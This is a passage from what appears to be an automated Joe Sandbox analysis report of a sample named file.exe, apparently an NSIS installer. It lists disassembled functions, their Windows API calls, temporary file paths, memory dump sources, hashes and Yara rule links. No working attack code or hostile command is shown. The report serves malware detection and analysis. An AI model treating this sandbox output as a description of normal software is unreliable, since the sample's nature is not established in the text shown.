Part of subcall function 00406557: lstrcpynW.KERNEL32(?,?,00000400,004036A4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406564

Part of subcall function 00405ED1: CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsbB152.tmp,?,00405F45,C:\Users\user\AppData\Local\Temp\nsbB152.tmp,C:\Users\user\AppData\Local\Temp\nsbB152.tmp, 4Wu,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,75573420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405EDF
Part of subcall function 00405ED1: CharNextW.USER32(00000000), ref: 00405EE4
Part of subcall function 00405ED1: CharNextW.USER32(00000000), ref: 00405EFC

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsbB152.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsbB152.tmp,C:\Users\user\AppData\Local\Temp\nsbB152.tmp, 4Wu,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,75573420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405F87
GetFileAttributesW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsbB152.tmp,C:\Users\user\AppData\Local\Temp\nsbB152.tmp,C:\Users\user\AppData\Local\Temp\nsbB152.tmp,C:\Users\user\AppData\Local\Temp\nsbB152.tmp,C:\Users\user\AppData\Local\Temp\nsbB152.tmp,C:\Users\user\AppData\Local\Temp\nsbB152.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsbB152.tmp,C:\Users\user\AppData\Local\Temp\nsbB152.tmp, 4Wu,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,75573420,C:\Users\user\AppData\Local\Temp\), ref: 00405F97

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405F2E
C:\Users\user\AppData\Local\Temp\nsbB152.tmp, xrefs: 00405F34, 00405F39, 00405F3F, 00405F80, 00405F86, 00405F8E, 00405F96
4Wu, xrefs: 00405F30

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 4Wu$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nsbB152.tmp
API String ID: 3248276644-2857754586
Opcode ID: 7c21406a6ebf8fc224ae0ccc6b020e70a1639b7280e68367676f2d78d50147cb
Instruction ID: 0bce86d1d95a7c790b53086ee47358a3377499fb664fcb231eb74dc800c81f90
Opcode Fuzzy Hash: 7c21406a6ebf8fc224ae0ccc6b020e70a1639b7280e68367676f2d78d50147cb
Instruction Fuzzy Hash: 7AF0F43A105E1269D622733A5C09AAF1555CE86360B5A457BFC91B22C6CF3C8A42CCBE

Function 00401D86 Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D9F
GetClientRect.USER32(?,?), ref: 00401DEA
LoadImageW.USER32(?,?,?,?,?,?), ref: 00401E1A
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E2E
DeleteObject.GDI32(00000000), ref: 00401E3E

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 5a50ccc3029d5fde6ea81844b1e337cdf63f6177f9f2d7308e11f2af529302b6
Instruction ID: ff9804e90d7d2423da96771145ec8c84d1acc30631874d8c14b803c0354ed8c3
Opcode Fuzzy Hash: 5a50ccc3029d5fde6ea81844b1e337cdf63f6177f9f2d7308e11f2af529302b6
Instruction Fuzzy Hash: 73210772900119AFCB05DF98EE45AEEBBB5EF08314F14003AF945F62A0D7789D81DB98

Function 00401E53 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401E56
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E70
MulDiv.KERNEL32(00000000,00000000), ref: 00401E78
ReleaseDC.USER32(?,00000000), ref: 00401E89
CreateFontIndirectW.GDI32(0040CDF0), ref: 00401ED8

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: ecb0f290f5c1122776e84f7afc2181d255ab8ed52f1adad26d3dddab1dbe2d45
Instruction ID: a825ad976d3f878f3d1ae6f085165680ecf176d60430839047bda31eedf7821d
Opcode Fuzzy Hash: ecb0f290f5c1122776e84f7afc2181d255ab8ed52f1adad26d3dddab1dbe2d45
Instruction Fuzzy Hash: 62017571905240EFE7005BB4EE49BDD3FA4AB15301F10867AF541B61E2C7B904458BED

Function 00404D83 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042CA68,0042CA68,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404E24
wsprintfW.USER32 ref: 00404E2D
SetDlgItemTextW.USER32(?,0042CA68), ref: 00404E40

Strings

%u.%u%s%s, xrefs: 00404E0E

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 2c674a3dc48973326ebd454f1002488dce618ddc5f98b18a2ee0300ee1e706a4
Instruction ID: 0fe25742dfe6cfa92c38baccc724587d3b65f537d6828788df476db8ac6fa50e
Opcode Fuzzy Hash: 2c674a3dc48973326ebd454f1002488dce618ddc5f98b18a2ee0300ee1e706a4
Instruction Fuzzy Hash: B111EB336042283BDB109A6DAC45E9E329CDF85374F250237FA65F71D1E978DC2282E8

Function 00405ED1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsbB152.tmp,?,00405F45,C:\Users\user\AppData\Local\Temp\nsbB152.tmp,C:\Users\user\AppData\Local\Temp\nsbB152.tmp, 4Wu,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,75573420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405EDF
CharNextW.USER32(00000000), ref: 00405EE4
CharNextW.USER32(00000000), ref: 00405EFC

Strings

C:\Users\user\AppData\Local\Temp\nsbB152.tmp, xrefs: 00405ED2

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CharNext
String ID: C:\Users\user\AppData\Local\Temp\nsbB152.tmp
API String ID: 3213498283-627501760
Opcode ID: a019630038ff328a8ec37a6ad8a5e0fa1ea3fa9b42c133706ff5938ffc5cdd25
Instruction ID: 143c5bdbadb979d876a68ad22b5e9fde56015454fa81a7c55dbcd1e73dec783f
Opcode Fuzzy Hash: a019630038ff328a8ec37a6ad8a5e0fa1ea3fa9b42c133706ff5938ffc5cdd25
Instruction Fuzzy Hash: 03F09072D04A2395DB317B649C45B7756BCEB587A0B54843BE601F72C0DBBC48818ADA

Function 00405E26 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040351F,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00405E2C
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040351F,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00405E36
lstrcatW.KERNEL32(?,0040A014,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00405E48

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405E26

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-4083868402
Opcode ID: 1ad634ba4b40e47f3a67f9c69e663da68b942b7adec5edae9754e9c2c01f4b37
Instruction ID: dcb1dcffde27bcde4b46a4bd7655c85b8e924b1ae314dab144fc932f30a80b76
Opcode Fuzzy Hash: 1ad634ba4b40e47f3a67f9c69e663da68b942b7adec5edae9754e9c2c01f4b37
Instruction Fuzzy Hash: 9DD0A731501534BAC212AB54AD04DDF62AC9F46344381443BF141B30A5C77C5D51D7FD

Function 00402643 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 65stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll), ref: 0040269A

Strings

C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll, xrefs: 0040265E, 00402683, 00402695, 004026E1
C:\Users\user\AppData\Local\Temp\nsbB152.tmp, xrefs: 00402688

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsbB152.tmp$C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll
API String ID: 1659193697-3977306812
Opcode ID: 968f49f8d356fad33376679beb12f00283f02b2e5d5c32db5a7590a3cc778f05
Instruction ID: 71653ae2733df7adc71dfdbaa34589fb2472b89c06e6b839d1f3baa03dac964a
Opcode Fuzzy Hash: 968f49f8d356fad33376679beb12f00283f02b2e5d5c32db5a7590a3cc778f05
Instruction Fuzzy Hash: E011E772A40205BBCB00ABB19E56AAE7671AF50748F21443FF402B71C1EAFD4891565E

Function 0040301E Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,004031FC,00000001), ref: 00403031
GetTickCount.KERNEL32 ref: 0040304F
CreateDialogParamW.USER32(0000006F,00000000,00402F98,00000000), ref: 0040306C
ShowWindow.USER32(00000000,00000005), ref: 0040307A

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 3e0f77edca3fe8d4731edd858be8c75d6ac57a75eac47466490e255ad15c8a0f
Instruction ID: 9291db8f65f8f9a8906298ccab22143765a9ea5c3e1cf5a275661437a5304794
Opcode Fuzzy Hash: 3e0f77edca3fe8d4731edd858be8c75d6ac57a75eac47466490e255ad15c8a0f
Instruction Fuzzy Hash: 22F08970602A21AFC6306F50FE09A9B7F68FB45B52B51053AF445B11ACCB345C91CB9D

Function 00405550 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040557F
CallWindowProcW.USER32(?,?,?,?), ref: 004055D0

Part of subcall function 00404522: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404534

Strings

, xrefs: 00405560

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 831ed5cf29225e66f7bf56ab76169cd98d2ca93c2364028159cf8fc7ca140134
Instruction ID: 994decb8795c597c60d879b60f38f30bda4d2919c1ffc13ce94f3a2918c86729
Opcode Fuzzy Hash: 831ed5cf29225e66f7bf56ab76169cd98d2ca93c2364028159cf8fc7ca140134
Instruction Fuzzy Hash: 1C01717120060CBFEF219F11DD84A9B3B67EB84794F144037FA41761D5C7398D529A6D

Function 6FF61948 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

CharNextExA.USER32(?,0000000A,00000000,6FF630B8,?,6FF616EA,?,00000002,00000002,0000000A), ref: 6FF61974

Strings

, xrefs: 6FF61964
, xrefs: 6FF6195C

Memory Dump Source

Source File: 00000000.00000002.1450170496.000000006FF61000.00000020.00000001.01000000.00000005.sdmp, Offset: 6FF60000, based on PE: true

Associated: 00000000.00000002.1450157086.000000006FF60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1450186265.000000006FF62000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1450199247.000000006FF63000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1450217071.000000006FF64000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ff60000_file.jbxd

Similarity

API ID: CharNext
String ID: $
API String ID: 3213498283-227171996
Opcode ID: 9c20e8890f8ccf62c26dd374a6dfca474335157b1eeb9c1959044676b045daab
Instruction ID: dff2a9ae99b4bdd6c4c64f0b405e930073f51688cf4a36551160415d2f5a650f
Opcode Fuzzy Hash: 9c20e8890f8ccf62c26dd374a6dfca474335157b1eeb9c1959044676b045daab
Instruction Fuzzy Hash: 63F01C311183CA9ADF11CF54C824BEA7FA9AF15644F540458FD908B282CB75E629CBA1

Function 00403B94 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,75573420,00000000,C:\Users\user\AppData\Local\Temp\,00403B6C,00403A82,?,?,00000008,0000000A,0000000C), ref: 00403BAE
GlobalFree.KERNEL32(00000000), ref: 00403BB5

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403B94

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-4083868402
Opcode ID: 522759d04011631da2fa13ba2704cf46823a2ab452b41ebb0ecea140ccdeae61
Instruction ID: cb28855b84c3abb27e6c937247341fa4f051846acd49e0d4b6103447305c23c4
Opcode Fuzzy Hash: 522759d04011631da2fa13ba2704cf46823a2ab452b41ebb0ecea140ccdeae61
Instruction Fuzzy Hash: 5DE0C23362083097C6311F55EE04B1A7778AF89B2AF01402AEC407B2618B74AC538FCC

Function 00405E72 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,004030EE,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\file.exe,C:\Users\user\Desktop\file.exe,80000000,00000003), ref: 00405E78
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,004030EE,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\file.exe,C:\Users\user\Desktop\file.exe,80000000,00000003), ref: 00405E88

Strings

C:\Users\user\Desktop, xrefs: 00405E72

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-1876063424
Opcode ID: 4d9a109f9f2e29ac56c0736ccbd4fa6bf3a04a93e1f4050107f2eb61dc35f761
Instruction ID: c6f1eefeac9f22653a6718740f6635ad40246fc98af2d22d27e4b5974eb8f820
Opcode Fuzzy Hash: 4d9a109f9f2e29ac56c0736ccbd4fa6bf3a04a93e1f4050107f2eb61dc35f761
Instruction Fuzzy Hash: E1D0A7B3400930EEC312AB04EC04DAF73ACEF123007868827F980A7165D7785D81C6EC

Function 6FF61A61 Relevance: 5.0, APIs: 4, Instructions: 45stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,7556F360,00000000,00000000,?,?,6FF61295,00000000,/TIMEOUT=,00000000), ref: 6FF61A71
lstrlenW.KERNEL32(?,?,?,6FF61295,00000000,/TIMEOUT=,00000000), ref: 6FF61A7C
lstrcmpiW.KERNEL32(?,?,?,?,6FF61295,00000000,/TIMEOUT=,00000000), ref: 6FF61A9A
lstrlenW.KERNEL32(00000000,?,?,6FF61295,00000000,/TIMEOUT=,00000000), ref: 6FF61AB5

Memory Dump Source

Source File: 00000000.00000002.1450170496.000000006FF61000.00000020.00000001.01000000.00000005.sdmp, Offset: 6FF60000, based on PE: true

Associated: 00000000.00000002.1450157086.000000006FF60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1450186265.000000006FF62000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1450199247.000000006FF63000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1450217071.000000006FF64000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ff60000_file.jbxd

Similarity

API ID: lstrlen$lstrcmpi
String ID:
API String ID: 1808961391-0
Opcode ID: 8f2b0ac81324d8c887789aa71978c0a759866a2092f5b5c70d7dbc1b8c98b5e6
Instruction ID: 598e5cf4dbc9a86615c4d5659826ab4ab2d815ef8cdb94f56f118097fe497ae8
Opcode Fuzzy Hash: 8f2b0ac81324d8c887789aa71978c0a759866a2092f5b5c70d7dbc1b8c98b5e6
Instruction Fuzzy Hash: 5F018136200518BFDB11DFA9DC80D9D77E8EF467A071140AAF904DB221DB70EA41DBA4

Function 00405FAC Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406291,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FBC
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405FD4
CharNextA.USER32(00000000,?,00000000,00406291,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FE5
lstrlenA.KERNEL32(00000000,?,00000000,00406291,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FEE

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
